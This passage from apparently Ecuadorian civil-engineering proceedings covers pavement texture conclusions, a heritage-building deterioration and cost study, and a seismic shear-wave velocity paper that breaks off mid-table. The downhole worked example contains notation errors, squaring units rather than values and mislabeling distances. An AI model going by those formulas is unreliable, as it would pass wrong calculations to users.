Tipo de textura superficial según la Asociación Mundial de Carretera, PIARC, AIPCR.

HA (mm)	Textura superficial
< 0,2	Muy fina
0,2 – 0,4	Fina
0,4 – 0,8	Media
0,8 – 1,2	Gruesa
$\geq 1,2$	Muy gruesa

4. CONCLUSIONES

- La textura superficial en la intersección Avenida Alejo Lascano y calle Víctor Manuel Rendon resulta de clasificación media.
- Se pudo constatar que el método más sencillo y rápido para realizar el ensayo de mancha de arena es mediante el marco de textura superficial.
- La textura superficial de un pavimento resulta un parámetro de singular importancia, ya que la misma influye en varios aspectos vinculados con las características de interacción neumático/pavimento, tales como la fricción sobre pavimento húmedo, el riesgo de hidroplaneo, el spray y las salpicaduras de agua estando el pavimento mojado; las cuales afectan de manera directa la seguridad vial.

REFERENCIAS BIBLIOGRÁFICAS

Díaz García, I. A. (2008). *EL INDICE SEGURIDAD – CONFORT EN LAS CARRETERAS. RESULTADOS Y EXPERIENCIAS EN CUBA*. SAN JOSE.

HA, R. (2012). *Asfaltos y mezclas asfálticas*. MADRID: EAE.

KRAEMER. (2004). *INGENIERIA DE CARRETERAS*. 1 ED.

ANEXOS 1. Pasos para realizar el ensayo de textura superficial del pavimento.

Foto 1. Antes de realizar el ensayo de textura superficial

Foto 2. Colocación de marco portátil de textura en el pavimento asfáltico

Foto 3: Se coloca 25 cm³ de arena por dentro del marco portátil de textura

Foto 4. Con la espátula se enrasa la arena hasta alcanzar la mayor área posible.

Foto 5. Se anotan los datos para realizar trabajo de oficina.

ANÁLISIS TÉCNICO-ECONÓMICO DE LOS BIENES PATRIMONIALES E INMUEBLES DE LOS CANTONES CHONE Y TOSAGUA

Jacqueline Domínguez Gutiérrez,

José David Ibarra Ordoñez,

Ericka Alejandra Macías Menéndez

UNIVERSIDAD LAICA ELOY ALFARO

jacqueline.dominguez@uleam.edu.ec

RESUMEN

El patrimonio edificado es la memoria de una ciudad, los cuales tienen un valor cultural muy alto e inapreciable, por ello la necesidad de realizar proyectos y planificaciones donde se ejecuten acciones constructivas que mantengan en pie dichas edificaciones y con más importancia en viviendas patrimoniales por su grado de antigüedad y deterioro acumulado. Con el objetivo de analizar técnica y económicamente los Bienes Patrimoniales Inmuebles de los Cantones Chone y Tosagua se realizó el siguiente trabajo de investigación. Se le realizó el análisis patológico a 13 Bienes Patrimoniales Inmuebles ubicados en las Parroquias Urbanas y Rurales del Cantón Chone y de la Parroquia Urbana del Cantón Tosagua; lo que permitió determinar el deterioro acumulado en las viviendas a partir de la definición de las lesiones encontradas en cada elemento constructivo, los niveles de conservación y posteriormente el Estado Técnico Constructivo de cada uno de los bienes inmuebles estudiados. El estudio definió una propuesta de Actuación Constructiva y calculó para cada vivienda el Indicador de Costo de Rehabilitación y el Costo Total de Rehabilitación en los bienes analizados en las zonas de estudio a partir del deterioro presente en cada uno de ellos. Se realizó la comparación entre las edificaciones estudiadas sobre la base de las variables que intervienen en el análisis. La investigación realizada forma parte del Proyecto de investigación: “Análisis Técnico-Económico del deterioro en Bienes Patrimoniales Inmuebles de la provincia de Manabí” aprobado por la Universidad Laica Eloy Alfaro de Manabí.

PALABRAS CLAVE: análisis técnico-económico, bienes patrimoniales inmuebles; estudio patológico.

ABSTRACT

During the last decades, the concern for the built patrimony has increased in the national and international scopes since the buildings experience deterioration throughout their useful life, which increases the need to carry out constructive actions that lead to their rehabilitation, winning greater importance in patrimonial housing due to its degree of antiquity and accumulated deterioration. With the objective of analyzing technically and economically the Real Estate Assets of Canton Chone and Tosagua, the present investigation was carried out. The pathological analysis of 4 Real Estate Assets located in the Urban Parish of the Chone and Tosagua Canton was carried out from the technical and economic point of view, which allowed to determine the accumulated deterioration in the buildings from the definition of the injuries present in each one of them. its component parts, conservation levels and subsequent definition of the Technical Construction Status of each of the properties studied. The study defines a proposal for a Constructive Action and calculates for each case the Rehabilitation Cost Indicator and the Total Cost of Rehabilitation in the buildings analyzed in the study area based on the deterioration present in each one of them. The comparison between the studied buildings is made on the basis of the variables that intervene in the analysis. The work presented is part of the research project: "Technical-Economic Analysis of the deterioration in Real Estate Assets of the province of Manabí" approved by the ULEAM.

KEYWORDS: pathological study, real estate assets, technical-economic analysis

1. INTRODUCCIÓN

El Patrimonio es un cúmulo de bienes que una persona o comunidad adquiere por herencia familiar, es la unión de la riqueza natural y cultural la cual los hace únicos y conocerla nos da una sensación de pertenencia que conforta nuestra identidad y nos ayuda a valorar lo que tenemos. El significado patrimonial es un concepto cultural y como tal, posee un carácter histórico dinámico (Sánchez & Cacopardo, 2013); abarca todo lo realizado por el hombre en épocas pasadas que ha quedado como prueba para demostrar su presencia dentro de la sociedad; demuestra también la transformación cultural que el hombre ha experimentado desde el momento que le tocó vivir a la época actual.

El patrimonio cultural ecuatoriano representa un recorrido histórico de más de diez mil años, largo camino en el que se ha ido conformando nuestra identidad actual. (Instituto Nacional de Patrimonio Cultural, 2011). En el Ecuador se crea el Instituto Nacional de Patrimonio Cultural (INPC) el 29 de junio de 1978, posteriormente se implementa la Ley de Patrimonio Cultural,

la cual menciona que “la investigación, conservación, preservación, restauración, exhibición, promoción del Patrimonio Cultural de la Nación se sujetaran a las normas de la Ley y Reglamento”. De esta forma el país reglamentó las acciones correctas de administración, comercialización, exhibición, protección, conservación y mantenimiento del Patrimonio Cultural y sus sanciones respectivas antes el incumplimiento de las ordenanzas.

Los Bienes Patrimoniales Inmuebles están sujetos a sufrir deterioro a partir de su uso y explotación, por lo que la cantidad de lesiones pueden surgir de diferentes causas, ya sea debido a una mala calidad del material, el aspecto climático de la zona en que se encuentre, los años de elaborada que posee, los procesos constructivos en aquellos tiempos y hasta el uso con el cual se edificó y el cual está teniendo en la actualidad. A su vez, el deterioro de los inmuebles está muy relacionado a las condiciones medio ambientales y al poco o incluso en la mayoría de los casos a ningún tipo mantenimiento que se le da a estas edificaciones; lo que aumenta considerablemente el deterioro que presentan en la actualidad.

A pesar del arduo trabajo del Instituto Nacional de Patrimonio Cultural en aras de preservar el patrimonio, y en este caso los Bienes Inmuebles, existe mucha desactualización sobre el estado real-actual de conservación de estas edificaciones, por lo que se hace impostergable es estudio de las mismas.

A partir de la problemática planteada se define como objetivo de la presente investigación: ¿Cómo determinar el deterioro de los Bienes Patrimoniales Inmuebles del centro norte de la provincia de Manabí?

2. MATERIALES Y MÉTODOS

Se realizó un Estudio Analítico Transversal, en los cantones Chone y Tosagua de la Provincia de Manabí a partir del estudio de los Bienes Patrimoniales – Bienes Inmuebles que se encuentran definidos como “Inventario” por el Instituto Nacional de Patrimonio Cultural (INPC, 2018). La muestra de estudio se compuso de 13 viviendas ubicadas en los Cantones Chone y Tosagua de la Provincia de Manabí; de las cuales 2 pertenecen a la Parroquia Tosagua del Cantón del mismo nombre y los 11 restantes pertenecen al Cantón Chone. Las viviendas ubicadas en el Cantón Chone se distribuyen por Parroquias de la siguiente manera: 6 en la Parroquia Urbana, 1 en San Antonio, 1 en Ricaurte, 1 en Canuto y 2 en Convento.

Para el estudio patológico se utilizó la metodología de Tejera y Álvarez, citado por (Domínguez & González, 2015), la cual parte de 22 fichas de inspección correspondientes a los 6 Elementos Constructivos definidos para la edificación objeto de estudio (Estructura, Fachadas, Cubiertas, Instalaciones, Elementos Comunes y Elementos Privados). El llenado de las fichas permitió

definir para cada uno de los inmuebles estudiados los síntomas presentados, las lesiones más comunes en los elementos y por consiguiente su respectivo nivel de daño. También se obtuvo diferentes características de la vivienda como las modificaciones del estado original, las características generales y materiales, las modificaciones realizadas en el bien inmueble desde su origen, lesiones presentadas en cada elemento junto a su porcentaje de nivel de daño.

Esta información recopilada en las Fichas de Inspección detallada se procesó en la Tabla de Puntuación Ponderada donde se colocaron los niveles de daño en función de un porcentaje para cada uno de los Elementos Componentes de la edificación, ya antes mencionado en las fichas. En esta tabla es evaluado el estado de conservación que tiene la vivienda en los elementos analizados, obteniendo un valor de puntuación total del bien inmueble patrimonial correspondiente al Estado Técnico Constructivo lo que permitió con posterioridad definir una clasificación de dicho Estado Técnico Constructivo (ETC) total de las viviendas; el cual se subdividió en 5 categorías: Muy Bueno, Bueno, Regular, Malo e Inservible.

Una vez obtenido el nivel de daño y el estado técnico constructivo de los bienes inmuebles analizados, se le realizó el diagnóstico de daños a cada uno. Se estudió las principales causas de las lesiones, tomando en cuenta si estas eran directas o indirectas y se llegó a definir los diferentes niveles de actuación constructiva; las cuales se clasificaron en: Mantenimiento, Rehabilitación Ligera, Rehabilitación Media, Rehabilitación pesada o Desmonte o Demolición; para cada una de las edificaciones a partir del deterioro definido en las inspecciones realizadas, así como del ETC definido.

A partir del análisis técnico-económico se pudo observar la viabilidad que tiene la actuación constructiva en los bienes inmuebles patrimoniales de los cantones analizados, para lo cual se utilizó indicadores de costo relacionados con el diagnóstico previamente calculado. La generalidad de las áreas patrimoniales, principalmente las urbanas, sufren las presiones del desarrollo económico y la modernización, encontrándose sujetas a la destrucción o abandono por parte de propietarios privados y públicos, generalmente por desconocimiento de su valor y por la falta de incentivos para conservarlos. (Ministerio de Cultura y Patrimonio, 2017)

El indicador costo área permitió dar un presupuesto estimado para cada actuación constructiva requerida para la puesta en valor de cada uno de los inmuebles. El Indicador de Costo de Área (ICA) utilizado fue el propuesto por el Banco del Instituto Ecuatoriano de Seguridad Social (BIESS), ante la ausencia de un indicador de costo para edificaciones con valor patrimonial, el cual maneja un valor promedio del metro cuadrado mínimo de \$220 y el metro cuadrado máximo de \$240 de mejoramiento (BIESS, 2018), debido a que los procesos de restauración en inmuebles patrimoniales son más complejos se optó por usar el valor máximo de

mejoramiento propuesto por el BIESS (240 \$/m²). En la ecuación para el valor del Estado Técnico Constructivo, se usó la diferencia del 100% de la puntuación del estado de conservación del bien inmueble, es decir, el porcentaje que se encuentra en mal estado constructivo; lo que equivale a la puesta en valor de la edificación.

Para determinar el Costo Total de Rehabilitación (CTR) se partió del ICA ya obtenido y se multiplicó por el área de construcción de cada uno de los inmuebles estudiados.

3. RESULTADOS Y DISCUSIÓN

Se utilizaron un total de 29 fichas de inspección detallada por inmuebles estudiados en los cantones sin costa del centro norte de Manabí (Cantón Tosagua y Cantón Chone, Parroquias San Antonio, Ricaurte y Parroquia Urbana) y lo que permitió determinar el estado patológico de cada edificación obteniendo, a su vez, el Estado Técnico Constructivo de cada uno mediante la metodología de Tejera y Álvarez (2012).

Se encontró un total de 470 lesiones del conjunto de viviendas estudiadas. Los inmuebles con código IBI-13-03-52-000-000001 y IBI-13-03-01-000-000004 fueron los que presentaron mayor cantidad de lesiones representando el 13% del total de lesiones cada uno; ambas del Cantón Chone.

Por su parte la lesión que mayor presencia tuvo fue la Suciedad con un 22% de aparición, seguida de la Humedad con un 21%. Las lesiones que menor incidencia presentaron fueron la Oxidación y la Corrosión, 1% y 2% respectivamente; dado fundamentalmente por la ausencia de elementos metálicos en las edificaciones.

Los resultados del análisis de la presencia de lesiones que afectaron a cada elemento constructivo de las viviendas estudiadas arrojaron que la estructura es la más afectada con el 41% y la Cubierta la menos afectada con un 4%. Así mismo, dentro de la Estructura, la Estructura Horizontal fue el elemento con mayor presencia de lesiones, el cual obtuvo el 46% y con menor presencia de lesiones están las escaleras y rampas con un 9%.

Una vez determinado las lesiones más comunes y los niveles de deterioro se procedieron a la definición de la puntuación del Estado Técnico Constructivo (ETC), a partir de la utilización de la Tabla Ponderada propuesta por Tejera y Álvarez (2012).

La puntuación del Estado Técnico Constructivo obtenida por cada una de las edificaciones analizadas estuvo entre el 96% y el 53%; donde el inmueble con código IBI-13-03-01-000-000008, de la Parroquia Urbana del Cantón Chone, fue el que mayor puntuación alcanzó;

mientras que el IBI-13-15-50-000-0000002, del Cantón Tosagua fue el de menor puntuación con 53,2%.

A partir de la Puntuación del ETC se pudo definir su Clasificación. La Figura 1 muestra en ninguno de los 2 Cantones estudiados se encontraron edificaciones en Malo o Inservible. En el Cantón Chone el 55% de los inmuebles obtuvo una clasificación de Bueno; mientras que en Tosagua se definió una edificación en Bueno y la otra en Regular. Los resultados generales para la zona de estudio arrojaron que el 54% de los bienes se encuentran en Buen estado, el 31% en Muy bueno, el 15% en Regular y ninguno en Malo o Inservible.

Figura 1: Clasificación del Estado Técnico Constructivo

Una vez definida la puntuación del ETC y por consiguiente la Clasificación del Estado Técnico Constructivo, tal y como sugiere la metodología utilizada, es posible definir una propuesta preliminar de Actuación Constructiva. Las acciones propuestas se resumen al Mantenimiento, el 31% de las edificaciones, la Rehabilitación Ligera, el 54% de los inmuebles, y la Rehabilitación Media, el 15% de las viviendas. Dada las características de los Bienes analizados y sus particularidades; las acciones propias a realizarse en cada uno de ellos deberán ser analizados caso a caso.

Luego de definido el deterioro de cada una de las edificaciones analizadas se procedió al cálculo del Indicador de Costo de Rehabilitación, la cual define un indicador de costo particular para cada uno de los casos en función del deterioro acumulado; lo que brinda precisión a la estimación.

Por su parte, se obtuvo el Costo Total de Rehabilitación para cada uno de los Inmuebles estudiados como consecuencia del deterioro identificado. Este análisis trae consigo que la tendencia entre el CTR y el ICR varía. No necesariamente la edificación que mayor CTR requiere es la que mayor ICR posee a partir del deterioro acumulado; ya que el CTR depende no solo del deterioro, sino que también es determinante el área de construcción en la cual habría que intervenir.

El cálculo de los montos totales del CTR por Parroquias y Cantones a partir del deterioro de los Bienes Inmuebles muestra que el Cantón Chone requiere un mayor presupuesto para enfrentar el deterioro de sus inmuebles, sobre todo porque en este Cantón la cantidad de edificaciones supera en 11 al Cantón Tosagua. Sin embargo, si se realiza un análisis de dinero total en función de cantidad de inmuebles a rehabilitar el costo promedio de los inmuebles en Chone sería de \$ 3.800, mientras que en Tosagua sería de \$ 9.324.

4. CONCLUSIONES

1. Mediante las fichas de inspección implementadas para cada inmueble, se diagnosticaron las lesiones; las que se presentaron con mayor incidencia fueron la suciedad (22%), la humedad (21%) y las fisuras y erosión física ambas con 13% de aparición. Siendo la Estructura el elemento constructivo mas deteriorado con el 41% y a su vez la Estructura horizontal con el 46%.
2. A partir del análisis de la puntuación del Estado Técnico Constructivo obtenida por cada una de las edificaciones analizadas; el inmueble con código IBI-13-03-01-000-000008, de la Parroquia Urbana del Cantón Chone, fue el que mayor puntuación alcanzó con 96%; mientras que el IBI-13-15-50-000-000002, del Cantón Tosagua fue el de menor puntuación con 53,2%.
3. En el Cantón Chone el 55% de los inmuebles obtuvo una clasificación del Estado Técnico Constructivo de Bueno; mientras que en Tosagua se definió una edificación en Bueno y la otra en Regular. Los resultados generales para la zona de estudio arrojaron que el 54% de los bienes se encuentran en Buen estado, el 31% en Muy bueno, el 15% en Regular y ninguno en Malo o Inservible.
4. Las acciones constructivas propuestas se resumen al Mantenimiento, la Rehabilitación Ligera y la Rehabilitación Media. Dada las características de los Bienes analizados y sus particularidades; las acciones propias a realizarse en cada uno de ellos deberán ser analizados caso a caso.
5. El Cantón Chone requiere un mayor presupuesto aproximado de \$ 42.162,46 para enfrentar el deterioro de sus inmuebles, mayor que el del Cantón Tosagua que requerirá \$ 18.648,00, sobre todo porque en este Cantón la cantidad de edificaciones supera en 11 al Cantón Tosagua. Sin embargo, si se realiza un análisis de dinero total en función de cantidad de inmuebles a rehabilitar el costo promedio de los inmuebles en Chone

sería de \$ 3.800, mientras que en Tosagua sería de \$ 9.324 ya que estos últimos se encuentran más deteriorados.

5. RECOMENDACIONES

- Realizar un plan de capacitación dirigido a los propietarios de los bienes inmuebles ubicado en la zona centro-norte de Manabí (Chone-Tosagua) a cargo del Instituto Nacional de Patrimonio Cultural (INPC), sobre la importancia y el valor cultural que tiene una vivienda considerada patrimonio para el país, a la cual se le debe de dar el respectivo cuidado y mantenimiento.
- Realizar periódicamente análisis técnicos-económicos a cada uno de los Bienes Inmuebles Patrimoniales, de esta manera se evitará un daño acumulado de dichos bienes y evitar un alto costo de rehabilitación, mantenimiento o que sean demolidos.
- El Instituto Nacional de Patrimonio Cultural y el Instituto Nacional de Estadísticas y Censos del Ecuador deben definir y publicar indicadores de precios para los Bienes Patrimoniales Inmuebles del país.

REFERENCIAS BIBLIOGRÁFICAS

BIESS. (Julio de 2018). Certificado del Valor promedio del metro cuadrado de construcción y mejoramiento de vivienda del Banco del Iess. Chone, Manabí.

Domínguez, J., & González, A. (2015). Valoración técnica del deterioro de las edificaciones en la zona costera de Santa Fe. *Arquitectura y Urbanismo*, XXXVI(1. Enero - Abril), 48-61. Obtenido de <http://rau.cujae.edu.cu>

INPC. (Agosto de 2018). *(SIPCE) Sistema de Inventario del Patrimonio Cultural del Ecuador*. Obtenido de <http://patrimoniocultural.gob.ec/sistema-de-informacion-del-patrimonio-cultural-ecuatoriano-sipce/>

Instituto Nacional de Patrimonio Cultural. (2011). Obtenido de <http://patrimoniocultural.gob.ec/guia-de-medidas-preventivas-para-los-bienes-culturales-patrimoniales-ante-la-amenaza-sismica/>

Ministerio de Cultura y Patrimonio. (2017). *Ministerio de Cultura y Patrimonio. Programas y Servicios. Patrimonio Cultural*. Obtenido de <https://www.culturaypatrimonio.gob.ec/patrimonio-cultural/#>

Sánchez, L. M., & Cacopardo, F. (2013). Preservación del patrimonio modesto. Indagaciones sociomateriales en la ciudad de Tandil, Argentina. *Arquitectura y Urbanismo*, 5-18.

Tejera, P., & Álvarez, O. (2012). *Patología de la Construcción*. La Habana: Editorial Universitaria "Felix Varela".

ANEXOS: Bienes Patrimoniales Inmuebles estudiados

Cantón Chone y Cantón
Tosagua
Provincia de Manabí

IBI-13-15-50-000-000002
Tosagua / Tosagua

IBI-13-15-50-000-000005
Tosagua / Tosagua

IBI-13-03-56-000-000001
Chone / Ricaurte

IBI-13-03-57-000-000001
Chone / San Antonio

IBI-13-03-53-000-000002
Chone / Convento

IBI-13-03-52-000-000001
Chone / Canuto

IBI-13-03-53-000-000001
Chone / Convento

IBI-13-03-01-000-000008
Chone / Parroquia Urbana

IBI-13-03-01-000-000005
Chone / Parroquia Urbana

IBI-13-03-01-000-000017
Chone / Parroquia Urbana

IBI-13-03-01-000-000023
Chone / Parroquia Urbana

IBI-13-03-01-000-000004
Chone / Parroquia Urbana

IBI-13-03-01-000-000020
Chone / Parroquia Urbana

BIOGRAFIA DE AUTORES

Jacqueline Domínguez Gutiérrez. Doctora en Ciencias Técnicas; Máster en Conservación y Explotación de Edificaciones, Mención: tecnología para la Conservación y Explotación de Edificaciones; Arquitecta. Docente Titular Principal de la Facultad de Ingeniería, Universidad Laica Eloy Alfaro de Manabí. Telf.: 0980056468.E-Mail:

jacqueline.dominguez@uleam.edu.ec / jarqui888@gmail.com

José David Ibarra Ordoñez. Ingeniero Civil. Residente de Fiscalización Cooperativa de Crédito Chone Limitada. Telf.: 098 037 6539. E-Mail: davidibarram7@gmail.com

Ericka Alejandra Macías Menéndez. Ingeniera Civil. Telf.: 095 874 2145. E-Mail: ealejandra@hotmail.com

CRITERIOS DE ANÁLISIS DE CÁLCULO DE LA REFRACCIÓN SÍSMICA PARA CALCULAR LA VELOCIDAD DE ONDA DE CORTE

Ing. Gery Lorenzo Marcillo Merino

Luis Antonio Bonilla Campo

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

jkl45.tyu25@hotmail.com

RESUMEN

Dentro de los métodos sísmicos de la geofísica aplicada se encuentran los de refracción y reflexión sísmica. En estos métodos se mide el tiempo de propagación de las ondas elásticas, transcurrido entre un sitio donde se generan ondas sísmicas y la llegada de éstas a diferentes puntos de observación. Para esto se disponen una serie de sensores en línea recta a distancias conocidas, formando lo que se conoce como tendido sísmico o línea de refracción – o reflexión – sísmica. Los registros de cada sensor tienen información de los movimientos del terreno en función del tiempo y son conocidos como sismogramas. Estos son analizados en la refracción sísmica para obtener el tiempo de llegada de las primeras ondas a cada sensor desde el punto de disparo, y en la reflexión para obtener información de las ondas que son reflejadas en las diferentes interfaces de suelo, para lo cual es estudiado el sismograma completo. Sólo funciona cuando la velocidad de propagación de las ondas aumenta con la profundidad. En el caso de suelos con capas intermedias de menor velocidad el método arrojaría resultados erróneos. En la actualidad no se conoce de algún ensayo de refracción sísmica hecho en Manabí especialmente en la zona sur, pero si se han elaborados tesis en bases a este tema de refracción sísmica para la zona Sur de Manabí.

PALABRAS CLAVES: refracción sísmica, interfaces, geofísica.

ABSTRACT

Among the seismic methods of geophysics are articles of refraction and seismic reflection. In these methods the propagation time of the elastic waves is measured, it is transmitted in a place where the seismic waves are produced and the arrival of these points to different observation points. For this we have a series of sensors in a straight line at known distances, forming what is known as seismic line or line of refraction - or reflection - seismic. The records of each sensor have information on the movements of the terrain as a function of time and are known as

seismograms. These are the refraction analyzes to obtain the arrival time of the first waves and each sensor from the trigger point, and in the reflection to obtain the information of the waves that are reflected in the different ground interfaces, for which The complete seismogram is studied. It only works when the speed of wave propagation increases with depth. In the case of floors with intermediate layers of lower speed, the method would yield erroneous results. Currently, there is no known seismic refraction test done in Manabí, especially in the southern zone, but basic studies have also been carried out in this subject of seismic refraction for the southern area of Manabí.

Keywords: seismic refraction, interfaces, geophysics.

INTRODUCCIÓN

Debido a la necesidad de conocer la naturaleza del subsuelo, durante las últimas décadas se han venido desarrollando diversos métodos de exploración entre ellos los métodos geofísicos. Es conocido por todos nosotros los ingenieros las ventajas que nos proporciona emplear los métodos de Exploración Geofísica básicamente por lo económico y rápido que resulta realizar estos ensayos; por eso su conocimiento masivo es esencial.

Durante los últimos años se han venido realizando investigaciones que buscan hacer el proceso de exploración aún más eficiente y confiable, es así que surge los métodos geofísicos de refracción sísmica y de medición de ondas de corte (MASW y MAM) que basa sus procedimientos en matemática avanzada como las Transformadas de Fourier, inversión de matrices, velocidad de fase, ondas Rayleigh, etc. (Ayashi, 2015.)

Método ReMi

El método ReMi es un método de onda de superficie sísmica (similar a los métodos SASW y MASW) que utiliza ruido ambiental y ondas de superficie para generar un perfil de velocidad de onda de corte vertical (S_v) detallado a profundidades de hasta 100 metros. Antes de 1999,

se obtuvieron perfiles de onda de corte sísmico utilizando refracción de onda de corte, cone penetrometer o técnicas de fondo de pozo. En el caso de las técnicas de refracción sísmica, podría ocurrir una capa oculta o una capa de baja velocidad, lo que daría lugar a una falsa interpretación de las velocidades de cizalla y las profundidades asociadas. En el caso de la prueba con el cone penetrometer, el equipo puede encontrar rechazo en gravas y guijarros, morrenas o roca madre competente, lo que da como resultado un perfil vertical incompleto.

Las técnicas de fondo de pozo tienden a ser más confiables, pero pueden ser más costosas, ya que las perforaciones o pozos deben perforarse según las especificaciones antes de la adquisición de los datos sísmicos. La técnica ReMi proporciona una forma no invasiva de obtener un perfil vertical de la onda cortante y, a diferencia de los métodos de perforación, esta técnica proporciona una muestra de ondas de corte en un mayor volumen del material, lo que permite promediar una columna de velocidad de onda de corte más representativa sobre la longitud de la matriz sísmica.

A diferencia de la refracción de onda de corte, el método ReMi es capaz de detectar capas delgadas e inversiones de velocidad, y como tal es altamente confiable y se usa comúnmente para medir V_{s30} para determinar el movimiento del terreno en el diseño del terremoto.

La técnica de refracción microtremor (ReMi), junto con los métodos SASW y MASW, tiene ventajas significativas sobre los métodos tradicionales de fondo de pozo para el perfil de velocidad de onda de corte. Al igual que los métodos SASW y MASW, la técnica ReMi aprovecha la naturaleza dispersiva de las ondas de superficie de Rayleigh, lo que hace que a diferentes frecuencias el tren de ondas viaje a diferentes velocidades. (Galvez, 2015)

Imag2. Ensayo de refracción sísmica.

A diferencia de los métodos SASW y MASW, las características distintivas de la técnica ReMi son:

- 1) Utiliza una matriz lineal que no requiere disparos en CMP
- 2) Se basa principalmente en el ruido ambiental para generar las ondas Rayleigh. (Louyi, 2017) ha demostrado que no se necesita una matriz bidimensional para medir la curva de dispersión de las ondas de Rayleigh porque la velocidad de fase mínima se correlaciona con las ondas que viajan en paralelo a la matriz. (ASTM Designation , 2016)

El método ReMi es útil para determinar:

- Respuesta sísmica específica del sitio.
- Potencial de licuefacción.
- Compactación del suelo.
- Geología subsuperficial.
- Mapeo del subsuelo y estimación de la fuerza de material subsuperficial.
- Complementando el análisis de refracción sísmica en áreas caracterizado por reversiones de velocidad cerca de la superficie
- Encontrar características culturales enterradas, como vertederos y rellenar el material en estructuras sumergidas
- Determinación de la clasificación del suelo para proyectos en alta mar.

Img3. Ejemplo de Análisis en ReMi

MATERIALES Y METODOS

También para el cálculo de la velocidad de onda de corte existen otros ensayos como son los ensayos de Downhole y Crosshole.

Ensayo de Downhole

El objetivo del ensayo es tomar medidas de los tiempos de viaje de las ondas sísmicas internas generadas a partir de la energía de la fuente emisora. Se recurre a la representación en una curva de los tiempos de llegada versus la profundidad; el valor inverso de la pendiente de esta curva representa la velocidad de propagación de la onda sísmica. El ensayo Down-Hole genera ondas sísmicas de cizalla S con mayor facilidad que el ensayo Up-Hole y por lo tanto su uso es más frecuente. Con una fuente de ondas SH el ensayo Down-Hole mide las velocidades de onda similares a aquellas que transportaron mayor energía sísmica hacia la superficie del suelo.

Además, detecta capas ciegas. Las limitaciones del ensayo son el grado de alteración del suelo cuando se realiza el sondeo, posibles efectos de fluidos en el sondeo, excesivo o insuficiente impulso, efectos de ruido sísmico y efectos del nivel freático. La expansión geométrica y el amortiguamiento pueden influir en las longitudes de onda y por tanto las velocidades de las ondas S pueden tener una interpretación incorrecta para profundidades superiores a 30-60 m. (Benjamín, 2015 (RECUPERADO))

Imag4. Adquisición de datos del Ensayo de Downhole

Para entender la simulación de problemas de refracción sísmica se desarrollará un ejercicio de un estudio realizado en Manabí en la ciudad de manta, y se hará comparación con el ejercicio de velocidad de onda de corte.

Fórmulas para el cálculo del ensayo de Downhole

$$Dg1 = \sqrt{Dg1^2 + x^2}$$

$$Dg2 = \sqrt{Dg2^2 + x^2}$$

$$Vs = \frac{Dg2 - Dg1}{t2 - t1}$$

Calculo:

$$Dg1 = \sqrt{(3 \text{ m}^2 + 4 \text{ m}^2)}$$

$$Dg1 = \sqrt{25 \text{ m}^2}$$

$$Dg1 = 5 \text{ m}^2 \text{ rpt.}$$

$$Dg2 = \sqrt{(6 \text{ m}^2 + 4 \text{ m}^2)}$$

$$Dg1 = \sqrt{52 \text{ m}^2}$$

$$Dg1 = 7,21 \text{ m}^2 \text{ rpt.}$$

$$Vs = \frac{Dg2 - Dg1}{t2 - t1}$$

$$Vs = \frac{7,21 \text{ m}^2 - 5 \text{ m}^2}{49000 - 42250}$$

$$Vs = 327,41 \frac{\text{m}}{\text{s}} \text{ rpt.}$$

Crosshole

Este ensayo sísmico utiliza dos o más sondeos para medir la velocidad de las ondas sísmicas. El dispositivo consiste en dos sondeos, el primero con la fuente emisora de energía y el segundo con el receptor situados a la misma profundidad. De esta manera se miden la velocidad de propagación de las ondas a través del material situado entre ambos sondeos. Repitiendo el ensayo a distintas profundidades se obtiene un perfil de velocidades vs. la profundidad. (CISMID, 2014)

Se recomienda utilizar más de dos sondeos para minimizar los errores resultados de las medidas del tiempo de disparo, los efectos del material superficial e intersondeos y la anisotropía. Las velocidades de onda se calculan a partir de la diferencia en los tiempos de llegada en el par de sondeos. Los tiempos de llegada se determinan visualmente usando puntos de fase común (primera llegada, primer pico, etc). o por medio de técnicas de correlaciones cruzadas usadas habitualmente en exploración petrolera.

Fórmulas de velocidad de onda de corte utilizadas en los países cercanos al pacífico.

Fórmula para el cálculo de la velocidad de onda de corte en Chile.

$$V_s = \frac{\sum_{i=1}^n h_i}{\sum_{i=1}^n \frac{h_i}{V_{si}}}$$

	Suelo Tipo	V _{s30} (m/s)	RQD	q _u (MPa)	(N ₁) (golpes/pie)	S _u (MPa)
A	Roca, suelo cementado	≥ 900	≥ 50%	≥ 10 (ε _{qu} ≤ 2%)		
B	Roca blanda o fracturada, suelo muy denso o muy firme	≥ 500		≥ 0,40 (ε _{qu} ≤ 2%)	≥ 50	
C	Suelo denso o firme	≥ 350		≥ 0,30 (ε _{qu} ≤ 2%)	≥ 40	
D	Suelo medianamente denso, o firme	≥ 180			≥ 30	≥ 0,05
E	Suelo de compactidad, o consistencia mediana	< 180			≥ 20	< 0,05
F	Suelos Especiales	*	*	*	*	*

presión de confinamiento de 0,1 MPa. Aplicable sólo a suelos que clasifican como arenas

RQD : Rock Quality Designation, según norma Astm D 6032
 q_u : Resistencia a la compresión simple del suelo
 : Deformación unitaria desarrollada cuando se alcanza la resistencia máxima en el ensayo de compresión simple
 S_u : Resistencia al corte no-drenada del suelo

Tabla de clasificación de suelos según la norma chilena (desde Decreto 61 MINVU, 2011).

Para las arcillas y limos se utilizarán:

$$V_s = 150 * (N_{60})^{0,10}$$

Para las arenas:

$$V_s = 96 * (N_{60})^{0,28}$$

Mientras que según ida para el cálculo de la velocidad de onda de corte:
 por estrato

$$V_s = 89,8 * (N)^{0,341}$$

RESULTADOS Y DISCUSIÓN

Ensayo por método de Downhole

Fórmulas para el cálculo del ensayo de Downhole

$$Dg1 = \sqrt{Dg1^2 + x^2}$$

$$Dg2 = \sqrt{Dg2^2 + x^2}$$

$$Vs = \frac{Dg2 - Dg1}{t2 - t1}$$

Calculo:

$$Dg1 = \sqrt{(3 \text{ m}^2 + 4 \text{ m}^2)}$$

$$Dg1 = \sqrt{25 \text{ m}^2}$$

$$Dg1 = 5 \text{ m}^2 \text{ rpt.}$$

$$Dg2 = \sqrt{(6 \text{ m}^2 + 4 \text{ m}^2)}$$

$$Dg1 = \sqrt{52 \text{ m}^2}$$

$$Dg1 = 7,21 \text{ m}^2 \text{ rpt.}$$

$$Vs = \frac{Dg2 - Dg1}{t2 - t1}$$

$$Vs = \frac{7,21 \text{ m}^2 - 5 \text{ m}^2}{49000 - 42250}$$

$$Vs = 327,41 \frac{\text{m}}{\text{s}} \text{ rpt.}$$

Resultados de cálculos de velocidad de onda de corte realizados en la zona sur de Manabí.

Cálculo de velocidades de ondas de corte (vs) y número medio de golpe (n60), en la ciudad de manta.

ESTRATIGRAFIA DE SUELO NUMERO 1						
